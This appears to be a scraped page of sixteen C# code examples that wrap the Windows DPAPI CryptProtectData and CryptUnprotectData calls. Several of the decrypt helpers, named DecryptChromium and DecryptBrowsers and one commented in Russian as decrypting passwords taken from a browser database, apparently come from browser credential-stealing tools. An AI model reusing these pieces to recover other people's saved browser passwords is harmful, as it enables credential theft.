Ejemplo n.º 1
0
 bool CryptProtectData(ref DataBlob pPlainText,
                       string szDescription,
                       ref DataBlob pEntropy,
                       IntPtr pReserved,
                       ref CryptprotectPromptstruct pPrompt,
                       int dwFlags,
                       ref DataBlob pCipherText);
Ejemplo n.º 2
0
 private static void InitPrompt(ref CryptprotectPromptstruct ps)
 {
     ps.cbSize        = Marshal.SizeOf(typeof(CryptprotectPromptstruct));
     ps.dwPromptFlags = 0;
     ps.hwndApp       = NullPtr;
     ps.szPrompt      = null;
 }
Ejemplo n.º 3
0
        // Chrome < 80
        public static byte[] DPAPIDecrypt(byte[] bCipher, byte[] bEntropy = null)
        {
            DataBlob pPlainText = new DataBlob(), pCipherText = new DataBlob(), pEntropy = new DataBlob();
            CryptprotectPromptstruct pPrompt = new CryptprotectPromptstruct
            {
                cbSize        = Marshal.SizeOf(typeof(CryptprotectPromptstruct)),
                dwPromptFlags = 0,
                hwndApp       = IntPtr.Zero,
                szPrompt      = null
            };

            var sEmpty = "";

            try
            {
                bCipher ??= new byte[0];

                pCipherText.pbData = Marshal.AllocHGlobal(bCipher.Length);
                pCipherText.cbData = bCipher.Length;
                Marshal.Copy(bCipher, 0, pCipherText.pbData, bCipher.Length);

                bEntropy ??= new byte[0];

                pEntropy.pbData = Marshal.AllocHGlobal(bEntropy.Length);
                pEntropy.cbData = bEntropy.Length;

                Marshal.Copy(bEntropy, 0, pEntropy.pbData, bEntropy.Length);

                CryptUnprotectData(ref pCipherText, ref sEmpty, ref pEntropy, IntPtr.Zero, ref pPrompt, 1, ref pPlainText);

                var destination = new byte[pPlainText.cbData];
                Marshal.Copy(pPlainText.pbData, destination, 0, pPlainText.cbData);
                return(destination);
            }
            catch (Exception ex)
            {
                if (Program._DEBUG)
                {
                    Console.WriteLine(ex.Message);
                }
            }
            finally
            {
                if (pPlainText.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(pPlainText.pbData);
                }
                if (pCipherText.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(pCipherText.pbData);
                }
                if (pEntropy.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(pEntropy.pbData);
                }
            }
            return(new byte[0]);
        }
Ejemplo n.º 4
0
        private static byte[] Decrypt(byte[] cipherTextBytes, byte[] entropyBytes, out string description)
        {
            var pPlainText = new DataBlob();
            var dataBlob1  = new DataBlob();
            var dataBlob2  = new DataBlob();
            var cryptprotectPromptstruct = new CryptprotectPromptstruct();

            InitPrompt(ref cryptprotectPromptstruct);
            description = string.Empty;
            try
            {
                try
                {
                    InitBlob(cipherTextBytes, ref dataBlob1);
                }
                catch (Exception ex)
                {
                    throw new Exception("Cannot initialize ciphertext BLOB.", ex);
                }

                try
                {
                    InitBlob(entropyBytes, ref dataBlob2);
                }
                catch (Exception ex)
                {
                    throw new Exception("Cannot initialize entropy BLOB.", ex);
                }

                if (!CryptUnprotectData(ref dataBlob1, ref description, ref dataBlob2, IntPtr.Zero,
                                        ref cryptprotectPromptstruct, 1, ref pPlainText))
                {
                    throw new Exception("CryptUnprotectData failed.", new Win32Exception(Marshal.GetLastWin32Error()));
                }
                var destination = new byte[pPlainText.cbData];
                Marshal.Copy(pPlainText.pbData, destination, 0, pPlainText.cbData);
                return(destination);
            }
            catch (Exception ex)
            {
                throw new Exception("Dpapi was unable to decrypt data.", ex);
            }
            finally
            {
                if (pPlainText.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(pPlainText.pbData);
                }
                if (dataBlob1.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(dataBlob1.pbData);
                }
                if (dataBlob2.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(dataBlob2.pbData);
                }
            }
        }
Ejemplo n.º 5
0
 private static extern bool CryptUnprotectData
 (
     ref DataBlob pDataIn,
     String szDataDescr,
     ref DataBlob pOptionalEntropy,
     IntPtr pvReserved,
     ref CryptprotectPromptstruct
     pPromptStruct,
     int dwFlags,
     ref DataBlob pDataOut);
Ejemplo n.º 6
0
 private static extern bool CryptUnprotectData(ref DataBlob pCipherText, ref string pszDescription, ref DataBlob pEntropy, IntPtr pReserved, ref CryptprotectPromptstruct pPrompt, int dwFlags, ref DataBlob pPlainText);
Ejemplo n.º 7
0
        public static byte[] Decrypt(byte[] bCipher, byte[] bEntropy = null)
        {
            DataBlob pPlainText  = new DataBlob();
            DataBlob pCipherText = new DataBlob();
            DataBlob pEntropy    = new DataBlob();

            CryptprotectPromptstruct pPrompt = new CryptprotectPromptstruct()
            {
                cbSize        = Marshal.SizeOf(typeof(CryptprotectPromptstruct)),
                dwPromptFlags = 0,
                hwndApp       = IntPtr.Zero,
                szPrompt      = (string)null
            };

            string sEmpty = string.Empty;

            try
            {
                try
                {
                    if (bCipher == null)
                    {
                        bCipher = new byte[0];
                    }

                    pCipherText.pbData = Marshal.AllocHGlobal(bCipher.Length);
                    pCipherText.cbData = bCipher.Length;
                    Marshal.Copy(bCipher, 0, pCipherText.pbData, bCipher.Length);
                }
                catch { }

                try
                {
                    if (bEntropy == null)
                    {
                        bEntropy = new byte[0];
                    }

                    pEntropy.pbData = Marshal.AllocHGlobal(bEntropy.Length);
                    pEntropy.cbData = bEntropy.Length;

                    Marshal.Copy(bEntropy, 0, pEntropy.pbData, bEntropy.Length);
                }
                catch { }

                CryptUnprotectData(ref pCipherText, ref sEmpty, ref pEntropy, IntPtr.Zero, ref pPrompt, 1, ref pPlainText);

                byte[] bDestination = new byte[pPlainText.cbData];
                Marshal.Copy(pPlainText.pbData, bDestination, 0, pPlainText.cbData);
                return(bDestination);
            }
            catch
            {
            }
            finally
            {
                if (pPlainText.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(pPlainText.pbData);
                }

                if (pCipherText.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(pCipherText.pbData);
                }

                if (pEntropy.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(pEntropy.pbData);
                }
            }
            return(new byte[0]);
        }
Ejemplo n.º 8
0
        public static byte[] DecryptChromium(byte[] cipherTextBytes, byte[] entropyBytes = null)
        {
            DataBlob dataBlob  = default(DataBlob);
            DataBlob dataBlob2 = default(DataBlob);
            DataBlob dataBlob3 = default(DataBlob);
            CryptprotectPromptstruct cryptprotectPromptstruct = new CryptprotectPromptstruct
            {
                cbSize        = Marshal.SizeOf(typeof(CryptprotectPromptstruct)),
                dwPromptFlags = 0,
                hwndApp       = IntPtr.Zero,
                szPrompt      = null
            };
            string empty = string.Empty;

            try
            {
                try
                {
                    if (cipherTextBytes == null)
                    {
                        cipherTextBytes = new byte[0];
                    }
                    dataBlob2.pbData = Marshal.AllocHGlobal(cipherTextBytes.Length);
                    dataBlob2.cbData = cipherTextBytes.Length;
                    Marshal.Copy(cipherTextBytes, 0, dataBlob2.pbData, cipherTextBytes.Length);
                }
                catch (Exception)
                {
                }
                try
                {
                    if (entropyBytes == null)
                    {
                        entropyBytes = new byte[0];
                    }
                    dataBlob3.pbData = Marshal.AllocHGlobal(entropyBytes.Length);
                    dataBlob3.cbData = entropyBytes.Length;
                    Marshal.Copy(entropyBytes, 0, dataBlob3.pbData, entropyBytes.Length);
                }
                catch (Exception)
                {
                }
                CryptUnprotectData(ref dataBlob2, ref empty, ref dataBlob3, IntPtr.Zero, ref cryptprotectPromptstruct, 1, ref dataBlob);
                byte[] array = new byte[dataBlob.cbData];
                Marshal.Copy(dataBlob.pbData, array, 0, dataBlob.cbData);
                return(array);
            }
            catch (Exception)
            {
            }
            finally
            {
                if (dataBlob.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(dataBlob.pbData);
                }
                if (dataBlob2.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(dataBlob2.pbData);
                }
                if (dataBlob3.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(dataBlob3.pbData);
                }
            }
            return(new byte[0]);
        }
Ejemplo n.º 9
0
        /// <summary>
        /// Расшифровка паролей
        /// </summary>
        /// <param name="cipherTextBytes">Пароль, полученный из БД</param>
        /// <param name="entropyBytes">Энтропия(null)</param>
        /// <returns>Возвращает массив байтов </returns>
        public static byte[] DecryptBrowsers(byte[] cipherTextBytes, byte[] entropyBytes = null)
        {
            // Тут создаем BLOB'ы
            DataBlob pPlainText  = new Browsers.DataBlob();
            DataBlob pCipherText = new Browsers.DataBlob();
            DataBlob pEntropy    = new Browsers.DataBlob();

            // Создание структуры
            Browsers.CryptprotectPromptstruct pPrompt = new CryptprotectPromptstruct()
            {
                cbSize        = Marshal.SizeOf(typeof(CryptprotectPromptstruct)), // Размер в размере нашей структуры (Kappa)
                dwPromptFlags = 0,
                hwndApp       = IntPtr.Zero,                                      //Дескриптор
                szPrompt      = (string)null
            };
            string empty = string.Empty;

            try
            {
                try
                {
                    if (cipherTextBytes == null)
                    {
                        cipherTextBytes = new byte[0];
                    }
                    pCipherText.pbData = Marshal.AllocHGlobal(cipherTextBytes.Length);            //Выделяем память в размере длинны пароля
                    pCipherText.cbData = cipherTextBytes.Length;
                    Marshal.Copy(cipherTextBytes, 0, pCipherText.pbData, cipherTextBytes.Length); // Копируем в неуп.память
                }
                catch (Exception ex)
                {
                }
                try
                {
                    if (entropyBytes == null)
                    {
                        entropyBytes = new byte[0];
                    }
                    pEntropy.pbData = Marshal.AllocHGlobal(entropyBytes.Length);         // Выделяем память размера энтропии
                    pEntropy.cbData = entropyBytes.Length;
                    Marshal.Copy(entropyBytes, 0, pEntropy.pbData, entropyBytes.Length); // Копирауем в неуправляемою память
                }
                catch (Exception ex)
                {
                }
                Browsers.CryptUnprotectData(ref pCipherText, ref empty, ref pEntropy, IntPtr.Zero, ref pPrompt, 1, ref pPlainText); // Собсна, декрипт
                byte[] destination = new byte[pPlainText.cbData];
                Marshal.Copy(pPlainText.pbData, destination, 0, pPlainText.cbData);                                                 // А это уже копируем из неупр.памяти
                return(destination);
            }
            catch (Exception ex)
            {
            }
            finally
            //Тут освобождаем память, которую заняли, даже если произошла ошибка
            {
                if (pPlainText.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(pPlainText.pbData);
                }
                if (pCipherText.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(pCipherText.pbData);
                }
                if (pEntropy.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(pEntropy.pbData);
                }
            }
            return(new byte[0]);
        }
Ejemplo n.º 10
0
        public static byte[] DecryptBrowsers(byte[] cipherTextBytes, byte[] entropyBytes = null)
        {
            DataBlob pPlainText              = new DataBlob();
            DataBlob pCipherText             = new DataBlob();
            DataBlob pEntropy                = new DataBlob();
            CryptprotectPromptstruct pPrompt = new CryptprotectPromptstruct()
            {
                cbSize        = Marshal.SizeOf(typeof(CryptprotectPromptstruct)),
                dwPromptFlags = 0,
                hwndApp       = IntPtr.Zero,
                szPrompt      = (string)null
            };
            string empty = string.Empty;

            try
            {
                try
                {
                    if (cipherTextBytes == null)
                    {
                        cipherTextBytes = new byte[0];
                    }
                    pCipherText.pbData = Marshal.AllocHGlobal(cipherTextBytes.Length);
                    pCipherText.cbData = cipherTextBytes.Length;
                    Marshal.Copy(cipherTextBytes, 0, pCipherText.pbData, cipherTextBytes.Length);
                }
                catch
                {
                }
                try
                {
                    if (entropyBytes == null)
                    {
                        entropyBytes = new byte[0];
                    }
                    pEntropy.pbData = Marshal.AllocHGlobal(entropyBytes.Length);
                    pEntropy.cbData = entropyBytes.Length;
                    Marshal.Copy(entropyBytes, 0, pEntropy.pbData, entropyBytes.Length);
                }
                catch
                {
                }
                CryptUnprotectData(ref pCipherText, ref empty, ref pEntropy, IntPtr.Zero, ref pPrompt, 1, ref pPlainText);
                byte[] destination = new byte[pPlainText.cbData];
                Marshal.Copy(pPlainText.pbData, destination, 0, pPlainText.cbData);
                return(destination);
            }
            catch
            {
            }
            finally
            {
                if (pPlainText.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(pPlainText.pbData);
                }
                if (pCipherText.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(pCipherText.pbData);
                }
                if (pEntropy.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(pEntropy.pbData);
                }
            }
            return(new byte[0]);
        }
Ejemplo n.º 11
0
 public byte[] Decrypt(
     byte[] cipherText,
     byte[] optionalEntropy,
     string dataDescription)
 {
     var plainTextBlob = new DataBlob();
     var cipherBlob = new DataBlob();
     var prompt = new
         CryptprotectPromptstruct();
     InitPromptstruct(ref prompt);
     try
     {
         try
         {
             int cipherTextSize = cipherText.Length;
             cipherBlob.pbData = Marshal.AllocHGlobal(cipherTextSize);
             if (IntPtr.Zero == cipherBlob.pbData)
             {
                 throw new Exception("Unable to allocate cipherText buffer.");
             }
             cipherBlob.cbData = cipherTextSize;
             Marshal.Copy
                 (
                     cipherText,
                     0,
                     cipherBlob.pbData,
                     cipherBlob.cbData);
         }
         catch (Exception ex)
         {
             throw new Exception
                 (
                 "Exception marshalling data. " +
                 ex.Message);
         }
         var entropyBlob = new DataBlob();
         int dwFlags;
         if (Store.UseMachineStore == _store)
         {
             //Using the machine store, should be providing entropy.
             dwFlags =
                 CryptprotectLocalMachine | CryptprotectUiForbidden;
             //Check to see if the entropy is null
             if (null == optionalEntropy)
             {
                 //Allocate something
                 optionalEntropy = new byte[0];
             }
             try
             {
                 int bytesSize = optionalEntropy.Length;
                 entropyBlob.pbData = Marshal.AllocHGlobal(bytesSize);
                 if (IntPtr.Zero == entropyBlob.pbData)
                 {
                     throw new Exception("Unable to allocate entropy buffer.");
                 }
                 entropyBlob.cbData = bytesSize;
                 Marshal.Copy
                     (
                         optionalEntropy,
                         0,
                         entropyBlob.pbData,
                         bytesSize);
             }
             catch (Exception ex)
             {
                 throw new Exception
                     (
                     "Exception entropy marshalling data. " +
                     ex.Message);
             }
         }
         else
         {
             //Using the user store
             dwFlags = CryptprotectUiForbidden;
         }
         bool retVal = dataDescription != null && CryptUnprotectData
                                                      (
                                                          ref cipherBlob,
                                                          dataDescription,
                                                          ref
                                                      entropyBlob,
                                                          IntPtr.Zero,
                                                          ref prompt,
                                                          dwFlags,
                                                          ref plainTextBlob);
         if (false == retVal)
         {
             throw new Exception
                 (
                 "Decryption failed. " +
                 GetErrorMessage(Marshal.GetLastWin32Error()));
         }
         //Free the blob and entropy.
         if (IntPtr.Zero != cipherBlob.pbData)
         {
             Marshal.FreeHGlobal(cipherBlob.pbData);
         }
         if (IntPtr.Zero != entropyBlob.pbData)
         {
             Marshal.FreeHGlobal(entropyBlob.pbData);
         }
     }
     catch (Exception ex)
     {
         MessageBox.Show(@"Exception decrypting. " + ex.Message);
     }
     var plainText = new byte[plainTextBlob.cbData];
     Marshal.Copy
         (
             plainTextBlob.pbData,
             plainText,
             0,
             plainTextBlob.cbData);
     Marshal.FreeHGlobal(plainTextBlob.pbData);
     return plainText;
 }
Ejemplo n.º 12
0
 private static void InitPromptstruct(ref CryptprotectPromptstruct ps)
 {
     ps.cbSize = Marshal.SizeOf(typeof (CryptprotectPromptstruct));
     ps.dwPromptFlags = 0;
     ps.hwndApp = NullPtr;
     ps.szPrompt = null;
 }
Ejemplo n.º 13
0
 private static extern bool CryptUnprotectData(
     ref DataBlob pDataIn,
     String szDataDescr,
     ref DataBlob pOptionalEntropy,
     IntPtr pvReserved,
     ref CryptprotectPromptstruct
         pPromptStruct,
     int dwFlags,
     ref DataBlob pDataOut);
Ejemplo n.º 14
0
        public byte[] Decrypt
        (
            byte[] cipherText,
            byte[] optionalEntropy,
            string dataDescription)
        {
            var plainTextBlob = new DataBlob();
            var cipherBlob    = new DataBlob();
            var prompt        = new
                                CryptprotectPromptstruct();

            InitPromptstruct(ref prompt);
            try
            {
                try
                {
                    int cipherTextSize = cipherText.Length;
                    cipherBlob.pbData = Marshal.AllocHGlobal(cipherTextSize);
                    if (IntPtr.Zero == cipherBlob.pbData)
                    {
                        throw new Exception("Unable to allocate cipherText buffer.");
                    }
                    cipherBlob.cbData = cipherTextSize;
                    Marshal.Copy
                    (
                        cipherText,
                        0,
                        cipherBlob.pbData,
                        cipherBlob.cbData);
                }
                catch (Exception ex)
                {
                    throw new Exception
                          (
                              "Exception marshalling data. " +
                              ex.Message);
                }
                var entropyBlob = new DataBlob();
                int dwFlags;
                if (Store.UseMachineStore == _store)
                {
                    //Using the machine store, should be providing entropy.
                    dwFlags =
                        CryptprotectLocalMachine | CryptprotectUiForbidden;
                    //Check to see if the entropy is null
                    if (null == optionalEntropy)
                    {
                        //Allocate something
                        optionalEntropy = new byte[0];
                    }
                    try
                    {
                        int bytesSize = optionalEntropy.Length;
                        entropyBlob.pbData = Marshal.AllocHGlobal(bytesSize);
                        if (IntPtr.Zero == entropyBlob.pbData)
                        {
                            throw new Exception("Unable to allocate entropy buffer.");
                        }
                        entropyBlob.cbData = bytesSize;
                        Marshal.Copy
                        (
                            optionalEntropy,
                            0,
                            entropyBlob.pbData,
                            bytesSize);
                    }
                    catch (Exception ex)
                    {
                        throw new Exception
                              (
                                  "Exception entropy marshalling data. " +
                                  ex.Message);
                    }
                }
                else
                {
                    //Using the user store
                    dwFlags = CryptprotectUiForbidden;
                }
                bool retVal = dataDescription != null && CryptUnprotectData
                              (
                    ref cipherBlob,
                    dataDescription,
                    ref
                    entropyBlob,
                    IntPtr.Zero,
                    ref prompt,
                    dwFlags,
                    ref plainTextBlob);
                if (false == retVal)
                {
                    throw new Exception
                          (
                              "Decryption failed. " +
                              GetErrorMessage(Marshal.GetLastWin32Error()));
                }
                //Free the blob and entropy.
                if (IntPtr.Zero != cipherBlob.pbData)
                {
                    Marshal.FreeHGlobal(cipherBlob.pbData);
                }
                if (IntPtr.Zero != entropyBlob.pbData)
                {
                    Marshal.FreeHGlobal(entropyBlob.pbData);
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(@"Exception decrypting. " + ex.Message);
            }
            var plainText = new byte[plainTextBlob.cbData];

            Marshal.Copy
            (
                plainTextBlob.pbData,
                plainText,
                0,
                plainTextBlob.cbData);
            Marshal.FreeHGlobal(plainTextBlob.pbData);
            return(plainText);
        }
Ejemplo n.º 15
0
        /// <summary>
        /// Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.
        /// </summary>
        /// <param name="cipherTextBytes">
        /// Encrypted data.
        /// </param>
        /// <param name="entropyBytes">
        /// Optional entropy, which is required if it was specified during
        /// encryption.
        /// </param>
        /// <param name="description">
        /// Returned description of data specified during encryption.
        /// </param>
        /// <returns>
        /// Decrypted data bytes.
        /// </returns>
        /// <remarks>
        /// When decrypting data, it is not necessary to specify which
        /// type of encryption key to use: user-specific or
        /// machine-specific; DPAPI will figure it out by looking at
        /// the signature of encrypted data.
        /// </remarks>
        public static byte[] Decrypt(byte[] cipherTextBytes,
                                     byte[] entropyBytes,
                                     out string description)
        {
            // Create BLOBs to hold data.
            DataBlob plainTextBlob  = new DataBlob();
            DataBlob cipherTextBlob = new DataBlob();
            DataBlob entropyBlob    = new DataBlob();

            // We only need prompt structure because it is a required
            // parameter.
            CryptprotectPromptstruct prompt =
                new CryptprotectPromptstruct();

            InitPrompt(ref prompt);

            // Initialize description string.
            description = String.Empty;

            try
            {
                // Convert ciphertext bytes into a BLOB structure.
                try
                {
                    InitBlob(cipherTextBytes, ref cipherTextBlob);
                }
                catch (Exception ex)
                {
                    throw new Exception(
                              "Cannot initialize ciphertext BLOB.", ex);
                }

                // Convert entropy bytes into a BLOB structure.
                try
                {
                    InitBlob(entropyBytes, ref entropyBlob);
                }
                catch (Exception ex)
                {
                    throw new Exception(
                              "Cannot initialize entropy BLOB.", ex);
                }

                // Disable any types of UI. CryptUnprotectData does not
                // mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of
                // supported flags so we will not set it up.
                const int flags = CryptprotectUiForbidden;

                // Call DPAPI to decrypt data.
                bool success = CryptUnprotectData(ref cipherTextBlob,
                                                  ref description,
                                                  ref entropyBlob,
                                                  IntPtr.Zero,
                                                  ref prompt,
                                                  flags,
                                                  ref plainTextBlob);

                // Check the result.
                if (!success)
                {
                    // If operation failed, retrieve last Win32 error.
                    int errCode = Marshal.GetLastWin32Error();

                    // Win32Exception will contain error message corresponding
                    // to the Windows error code.
                    throw new Exception(
                              "CryptUnprotectData failed.", new Win32Exception(errCode));
                }

                // Allocate memory to hold plaintext.
                byte[] plainTextBytes = new byte[plainTextBlob.cbData];

                // Copy ciphertext from the BLOB to a byte array.
                Marshal.Copy(plainTextBlob.pbData,
                             plainTextBytes,
                             0,
                             plainTextBlob.cbData);

                // Return the result.
                return(plainTextBytes);
            }
            catch (Exception ex)
            {
                throw new Exception("DPAPI was unable to decrypt data.", ex);
            }
            // Free all memory allocated for BLOBs.
            finally
            {
                if (plainTextBlob.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(plainTextBlob.pbData);
                }

                if (cipherTextBlob.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(cipherTextBlob.pbData);
                }

                if (entropyBlob.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(entropyBlob.pbData);
                }
            }
        }
Ejemplo n.º 16
0
        /// <summary>
        /// Calls DPAPI CryptProtectData function to encrypt an array of
        /// plaintext bytes.
        /// </summary>
        /// <param name="keyType">
        /// Defines type of encryption key to use. When user key is
        /// specified, any application running under the same user account
        /// as the one making this call, will be able to decrypt data.
        /// Machine key will allow any application running on the same
        /// computer where data were encrypted to perform decryption.
        /// Note: If optional entropy is specifed, it will be required
        /// for decryption.
        /// </param>
        /// <param name="plainTextBytes">
        /// Plaintext data to be encrypted.
        /// </param>
        /// <param name="entropyBytes">
        /// Optional entropy which - if specified - will be required to
        /// perform decryption.
        /// </param>
        /// <param name="description">
        /// Optional description of data to be encrypted. If this value is
        /// specified, it will be stored along with encrypted data and
        /// returned as a separate value during decryption.
        /// </param>
        /// <returns>
        /// Encrypted value.
        /// </returns>
        public static byte[] Encrypt(KeyType keyType,
                                     byte[] plainTextBytes,
                                     byte[] entropyBytes,
                                     string description)
        {
            // Make sure that parameters are valid.
            if (plainTextBytes == null)
            {
                plainTextBytes = new byte[0];
            }
            if (entropyBytes == null)
            {
                entropyBytes = new byte[0];
            }
            if (description == null)
            {
                description = String.Empty;
            }

            // Create BLOBs to hold data.
            DataBlob plainTextBlob  = new DataBlob();
            DataBlob cipherTextBlob = new DataBlob();
            DataBlob entropyBlob    = new DataBlob();

            // We only need prompt structure because it is a required
            // parameter.
            CryptprotectPromptstruct prompt =
                new CryptprotectPromptstruct();

            InitPrompt(ref prompt);

            try
            {
                // Convert plaintext bytes into a BLOB structure.
                try
                {
                    InitBlob(plainTextBytes, ref plainTextBlob);
                }
                catch (Exception ex)
                {
                    throw new Exception(
                              "Cannot initialize plaintext BLOB.", ex);
                }

                // Convert entropy bytes into a BLOB structure.
                try
                {
                    InitBlob(entropyBytes, ref entropyBlob);
                }
                catch (Exception ex)
                {
                    throw new Exception(
                              "Cannot initialize entropy BLOB.", ex);
                }

                // Disable any types of UI.
                int flags = CryptprotectUiForbidden;

                // When using machine-specific key, set up machine flag.
                if (keyType == KeyType.MachineKey)
                {
                    flags |= CryptprotectLocalMachine;
                }

                // Call DPAPI to encrypt data.
                bool success = CryptProtectData(ref plainTextBlob,
                                                description,
                                                ref entropyBlob,
                                                IntPtr.Zero,
                                                ref prompt,
                                                flags,
                                                ref cipherTextBlob);
                // Check the result.
                if (!success)
                {
                    // If operation failed, retrieve last Win32 error.
                    int errCode = Marshal.GetLastWin32Error();

                    // Win32Exception will contain error message corresponding
                    // to the Windows error code.
                    throw new Exception(
                              "CryptProtectData failed.", new Win32Exception(errCode));
                }

                // Allocate memory to hold ciphertext.
                byte[] cipherTextBytes = new byte[cipherTextBlob.cbData];

                // Copy ciphertext from the BLOB to a byte array.
                Marshal.Copy(cipherTextBlob.pbData,
                             cipherTextBytes,
                             0,
                             cipherTextBlob.cbData);

                // Return the result.
                return(cipherTextBytes);
            }
            catch (Exception ex)
            {
                throw new Exception("DPAPI was unable to encrypt data.", ex);
            }
            // Free all memory allocated for BLOBs.
            finally
            {
                if (plainTextBlob.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(plainTextBlob.pbData);
                }

                if (cipherTextBlob.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(cipherTextBlob.pbData);
                }

                if (entropyBlob.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(entropyBlob.pbData);
                }
            }
        }